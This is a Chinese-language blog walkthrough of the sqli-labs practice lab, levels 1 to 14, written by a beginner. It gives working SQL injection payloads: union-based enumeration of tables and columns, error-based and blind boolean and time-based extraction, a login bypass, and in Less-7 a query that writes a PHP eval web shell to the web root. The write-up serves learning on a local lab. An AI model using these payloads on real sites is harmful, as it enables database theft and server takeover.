sqli-labs

作者: __周__ | 来源:发表于2018-01-31 16:17 被阅读0次

本人萌新,有什么错误的地方希望各位指正,废话不多说


在开始之前,为了方便看到构造的查询语句可以在源码中加一句

echo"你的sql语句为".$sql."<br>"

Less-1

注入点测试
首先先添加一个'查看返回信息

192.168.133.129/sqli/Less-1/?id=1'

返回报错信息,表示存在sql注入漏洞
sql语句如下:SELECT * FROM users WHERE id='1'' LIMIT 0,1

第一步首先先看查询了几个字段,使用"order by (number)"【因为后面的查询需要用到union,所以这个地方需要猜查询了多少字段】

在这之前首先需要人为的构造sql语句使之闭合,正常进行查询
这里说两种可能遇到的sql语句注释符

1. --【空格】 这里的空格一定要有。
2.#

有时候需要进行url编码具体的可以自己去百度


这里输入

192.168.133.129/sqli/Less-1/?id=1'order by 4 --%20
image.png

可以知道前面查询的字段是小于4的

192.168.133.129/sqli/Less-1/?id=1'order by 3 --%20
image.png
那么现在就可以知道查询的字段有3个
第二步查看目标字段在哪个位置显示

【因为sqlib中只能显示1组数据,所以我们需要将前面的主查询改为负或者改为一个较大的数,来使前面的查询为空,从而为后面构造的union查询让出地方】

image.png
第三步 将上面的2,3 进行替换
user()
database()
version()
@@datadir    当前数据库物理地址
@@hostname   这台主机名
@@VERSION   数据库版本
@@version_compile_os  查看操作系统

这里我查的是

  • 数据库版本信息
  • 当前数据库
image.png

现在可以知道数据库版本为5.5.53;当前数据库为 security。

  • MySQL 5.0及以上版本提供了INFORMATION_SCHEMA这个信息数据库

mysql数据库information_schema,他是系统数据库,默认安装完就存在,其中记录的是当前数据库的数据库,表,列(字段),用户权限等信息,下面说一下常用的几个表

  • SCHEMA表存储mysql所有数据库的基本信息,包括数据库名,编码类型,路径等,show databases的结果取之于此。
  • TABLES表:存储mysql 中的表信息,这个表示基本表还是系统表,数据库引擎是什么,表有多少行,创建时间,最后更新时间 show tables from schemaname的结果取之于此
  • COLUMNS表:提供表中的的咧信息,详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,lieder编码类型,列的权限,列的注释等 是show columns form schemaname.tablename的结果取于此表
接下来查询表名
192.168.133.129/sqli/Less-1/?id=-1'union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1--%20

可以查询到users表,猜测里面可能有我们想要的账号以及密码

接下来继续查询我们想要的表中的字段
192.168.133.129/sqli/Less-1/?id=-1'union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1--%20
  • 经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码
最后我们可以根据字段直接在users表中进行查询(我这里只是做一个演示,剩下的可以自己去遍历)
image.png

Less-2

跟第一关少了单引号闭合,这里就不多解释了

Less-3

第三关是被单引号括号包裹的,这里需要手工把单引号括号闭合,才能继续往下做

Less-4

第四关是被双引号括号包裹的,这里需要手工把双引号括号闭合,才能继续往下做

Less-5

-第五关一看不管输入什么没有显示,但是显示报错信息,所以这个地方考虑使用报错注入(报错注入无法使用group_concat()只能使用limit来遍历)

192.168.133.129/sqli/Less-5/?id=-1' union select count(*),1,concat('$',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'$',floor(rand()*2))as a from information_schema.tables group by a%23
  • count(*)、rand()、group by三者缺一不可
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上并且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入;存在的话count(*)加1

Less-6

第六关是把单引号换为双引号

Less-7

这关就比较尴尬,不进行注入直接写一句话,采用into outfile 进行文件写入

127.0.0.1/s/Less-7/?id=1′)) union select 1,'<?php eval($_POST[“chopper”]);?>’,3 into outfile
‘C:\phpStudy\WWW\q.php’%23

Load_file进行文件读取

http://127.0.0.1/s/Less-7/?id=1′)) union select 1,load_file(“C:/phpStudy/www/s/Less-7/result.txt”),3
into outfile ‘C:\phpStudy\WWW\123.php’%23 

Less-8

第八关,首先尝试没有任何报错,什么也不现实,所以我们要尝试盲注

  • 布尔类型的盲注
    mysql相关的函数:
    lengrh(str):返回str字符串长度
    subste(str,pos,len)将str从pos位置开始截取len长度的字符进行返回,注意这里的pos位置是从1开始的,不是数字0开始
    mid(str,pos,len)跟上面一样截取字符串
    ascii(str)返回字符串str的最左面字符的ascii代码值
    ord(str)同上,返回ascii码
    if(a,b,c):a为条件,a为true,返回b,否则返回c,比如if(1>2,1,0)这里返回0

构造语句:

192.168.133.129/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>115,1,0)%23

或者不用if函数

192.168.133.129/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23

如果判断的值是正确的那么就会显示正常的页面

接下来是用二分法一点一点猜

http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间 
http://localhost/123/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为 115,即字母s

忙注的过程是很漫长的,一般自己写脚本或者用工具辅助

Less-9

第九关不论输入什么都只输出 you are in ____

布尔类型也解决布料,只能尝试基于时间的盲注

  • 判断时间盲注的可能性,如果感觉比正常访问满10s左右,那么表示存在注入点
192.168.133.129/sqli/Less-9/?id=1' and sleep(10) %23
192.168.133.129/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>115,sleep(10),0)%23

Less-10

原理同上,只不过把单引号变为双引号

less-11

打开一看到是一个登陆的页面,于是联想到万能密码

于是构造万能密码' or 1=1 limit 2,1%23,发现不行报错信息中可以知道%23并未被服务器所解析,所以我们换成#;' or 1=1 limit 2,1#继续往下查询,很简单。

less-12

同上,原理相同,把单引号换成括号双引号

less-13


着实被这个题目坑了一把,怎么注入都是搞不出数据,很纳闷,语句没问题就是不出数据,结果经过别人告诉我说这个下面图片变了,我才知道根本就没有数据显示,都是骗人的!!!


image.png

同上,原理相同,把单引号换成括号单引号

less-14

同上,原理相同,把单引号换成双引号

相关文章

网友评论

      本文标题:sqli-labs

      本文链接:https://www.haomeiwen.com/subject/awvczxtx.html